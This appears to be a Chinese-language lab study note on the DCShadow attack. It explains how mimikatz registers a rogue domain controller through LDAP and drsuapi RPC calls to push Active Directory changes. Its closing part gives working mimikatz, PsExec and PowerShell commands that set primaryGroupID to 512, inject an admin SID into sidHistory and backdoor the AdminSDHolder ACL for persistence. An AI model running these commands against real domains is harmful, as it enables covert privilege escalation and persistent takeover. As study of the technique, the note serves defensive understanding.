参考、摘抄于:
https://blog.riskivy.com/dcshadow/#DCShadow-2
https://zhuanlan.zhihu.com/p/37782341
在活动目录数据库中通过一些特殊对象以及一定的数据对象层级关系来标识某台机器是域控制器,其中,最关键的是nTDSDSA对象,该对象正是标识一台主机是域控角色的特殊对象。同时,nTDSDSA对象需要位于正确的位置,根据文档其父对象应该是一个server对象。
为了注册成域控,需要插入这两个对象。server对象可以通过LDAP的add操作进行插入,nTDSDSA对象却无法通过LDAP操作进行添加,需要通过RPC调用请求域控添加。
SPN,即Service Principal Name,客户端通过Kerberos请求使用某种服务时,会在请求中附带上需要访问的服务的SPN名称,如文件共享服务cifs/DNS_DOMAIN_NAME,目录访问服务ldap/DNS_DOMAIN_NAME。KDC(密钥分发中心)将通过SPN来确定客户端请求访问的是主机上的哪个具体服务,因为一个主机上通常情况下同时提供多种支持Kerberos认证的服务,随后,KDC将使用该服务账号的密码哈希来对票据进行加密。
一般格式长这样:
service_class/hostname_or_FQDN
service_class/hostname_or_FQDN:port
service_class/hostname_or_FQDN:port/arbitrary_name
一个主机作为域控角色,使用Directory Replication Service (DRS)服务与域内其他域控进行数据同步,关于DRS服务需要使用的SPN,可参考[MS-DRSR]:
简而言之,在域控间进行数据同步时,有两种可能存在的情况:
- 连接域内指定的域控,这种情况下,SPN形式为
<DRS interface GUID>/<DSA GUID>/<DNS domain name>
,DRS interface GUID是一个固定的数值,为E3514235-4B06-11D1-AB04-00C04FC2DCD2,DSA GUID是nTDSDSA对象的objectGUID属性值,由于nTDSDSA对象无法直接通过LDAP操作插入,而DSA GUID(objectGUID属性值)依赖于nTDSDSA对象,因此该SPN同样不能直接通过LDAP进行插入。- 连接域林中的GC服务器,GC服务器(Global Catalog Server)是全局编录服务器,可以理解为一种服务或角色,用于存储本域所有对象信息和林中其他域部分对象信息,这种情况下,SPN形式为
GC/<DNS hostname>/<DNS forest name>
,可以直接通过LDAP操作为属性插入新值。
因此,DCShadow伪装的域控想要与其他域控进行数据同步复制,就需要提供以上两种情况的SPN名称。
DRS服务有两组RPC接口,其中drsuapi RPC接口用于域控之间同步数据(对应的UUID为E3514235-4B06-11D1-AB04-00C04FC2DCD2);DCShadow欲实现域控间的数据同步,自然需要在本地对外提供drsuapi接口的RPC调用服务,对此,DCShadow实现了满足数据同步所需要的几个drsuapi接口方法
另一方面,mimikatz要调用真实域控的这些方法来修改、同步数据:
- IDL_DRSBind/IDL_DRSUnbind:drsuapi接口方法调用需要先进行Bind操作。
- IDL_DRSAddEntry:添加/修改一个或多个数据对象,该方法的一个关键作用是,可以为server对象添加nTDSDSA对象,前面讲到nTDSDSA对象无法通过LDAP操作添加,此处,mimikatz通过对IDL_DRSAddEntry方法的调用来实现插入nTDSDSA对象,使该台主机成为域控角色。
- IDL_DRSReplicaAdd:为指定的NC添加数据同步引用源(respFrom变量),客户端调用该方法,通知服务端当前有数据需要进行同步,应立即根据respFrom变量的值发起数据同步复制,该方法的调用实际上就是push指令触发注入恶意数据对象背后的操作。
- IDL_DRSGetNCChanges:服务端在接收到客户端调用IDL_DRSReplicaAdd方法后,开始数据同步过程,根据respFrom变量指定的数据同步源,服务端向其发起连接并调用其IDL_DRSGetNCChanges方法,需要同步的数据将被封装在调用请求的响应中返回。
- IDL_DRSReplicaDel:与Add相反,移除数据同步引用源。
RPC是一种编程模型,主要用于应用程序实现远程过程调用,微软的DCEPRC即是对远程过程调用的一种实现和扩展,实际上Windows上的很多服务以RPC的形式对外提供调用接口,外部应用程序可以通过调用这些PRC接口来实现对特定服务的访问。DCERPC有多种不同的承载方式,如TCP、UDP、HTTP、SMB命名管道等,客户端通过不同的承载协议连接到指定的服务端,由UUID绑定(Bind)到需要使用的终端接口(endpoint/interface)上,再传递所需参数来调用接口上指定的方法(operation),服务端随后将执行结果封装到协议数据包中返回。
EPM也是DCERPC上的一个终端,对应的UUID为E1AF8308-5D1F-11C9-91A4-08002B14A0FA,其特殊之处在于EPM提供了对知名服务的查询映射、管理等功能。EPM接口中opnum为3的方法(ept_map)即提供了对某个RPC服务所在位置的查询功能。
记录一下调用drsuapi的过程
- 绑定到EPM服务RPC接口
- 查询DRS服务UUID及端口
- 绑定到DRS服务RPC接口
// 窗口1使用psexec, 以system权限启动mimikatz。system权限下用户名是win10$,只有机器账号才能作为域控。
// 此窗口是启动RPC Server,等待真实域控连接
lsadump::dcshadow /object:CN=win10,CN=Users,DC=ring2,DC=com /attribute:description /value:"helloworld"
// 窗口2,以域管理员权限启动mimikatz
// 此窗口是强制域内数据同步
PsExec64.exe -u ring2\administrator -p Test1234 c:\Users\win10\Desktop\mimikatz.exe
lsadump::dcshadow /push
-
LDAP操作目录数据库,用于新建server对象以及增加GC SPN。
(下面的包是一次完成/push抓到的,如果代码中每步getchar暂停,抓到的LDAP包有问题。。。)
-
调用IDL_DRSAddEntry
-
mimikatz键入push指令,我们的伪域控将向真实域控发起drsuapi接口IDL_DRSReplicaAdd方法的调用,KCC默认15分钟进行域控间活动目录数据库同步,调用该方法实际上等于手动触发了数据同步,告知真实域控有需要立即进行同步的数据。
-
IDL_DRSReplicaDel
上面的例子是直接用了域控管理员账号,这里讲了执行DCShadow所需的最小权限
http://www.labofapenetrationtester.com/2018/04/dcshadow.html
lsadump::dcshadow /object:CN=dc,CN=Users,DC=pingpig,DC=com /attribute:primarygroupid/value:512
执行域复制:
lsadump::dcshadow /push
// sid为域管administartor的sid
lsadump::dcshadow /object:CN=dc,CN=Users,DC=pingpig,DC=com /attribute:sidhistory /value:S-1-5-21-1900941692-2128706383-2830697502-500
执行域复制:
lsadump::dcshadow /push
AdminSDHolder ACL存储在nTSecurityDescriptor
属性中,通过DCshadow修改此属性,以维持域内权限
获取当前AdminSDHolder ACL
$AdminSDHolder = [adsi]'LDAP://CN=AdminSDHolder,CN=System,DC=ring2,DC=com'
$SDDL = $AdminSDHolder.ObjectSecurity.Sddl
修改AdminSDHolder ACL
$UserToAdd = [adsi]'LDAP://CN=WIN10,CN=Users,DC=ring2,DC=com'
$UserSid = New-Object System.Security.Principal.SecurityIdentifier($UserToAdd.objectSid[0], 0)
$NewSDDL = $SDDL + "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + $UserSid.Value + ")"
使用DCShadow推送修改
.mimikatz.exe "lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=ring2,DC=com /attribute:ntsecuritydescriptor /value:[NEW SDDL FROM ABOVE]”